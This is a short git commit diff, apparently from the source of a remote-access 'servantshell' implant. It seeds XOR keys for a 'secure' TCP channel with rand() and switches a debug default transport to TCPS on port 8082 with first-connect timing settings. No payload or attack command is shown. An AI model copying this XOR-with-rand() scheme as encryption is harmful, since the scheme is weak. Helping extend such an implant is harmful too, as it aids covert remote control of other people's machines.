fix tcps bug.

This commit is contained in:
floyd 2015-07-15 17:44:26 +08:00
parent 6ef2b0dd04
commit b573664f5e
2 changed files with 5 additions and 1 deletions

View File

@ -7,6 +7,10 @@ TcpComm::TcpComm(BOOL isSecure):
m_xorKey1(0),
m_xorKey2(0)
{
srand(GetTickCount());
m_xorKey1 = (BYTE)(rand() % 255);
m_xorKey2 = (BYTE)(rand() % 255);
m_isSecure = isSecure;
}

View File

@ -226,7 +226,7 @@ SHELL_API BOOL Init(BOOL bWait)
debugLog(_T("init servantshell. filepath is %s%s"), GetBinFilepath(), GetBinFilename());
#ifdef _DEBUG
g_ConfigInfo.nDefaultCommType = COMMNAME_UDPS;
g_ConfigInfo.nDefaultCommType = COMMNAME_TCPS;
g_ConfigInfo.nPort = 8082;
g_ConfigInfo.nFirstConnectHour = -1;
g_ConfigInfo.nFirstConnectMinute = -1;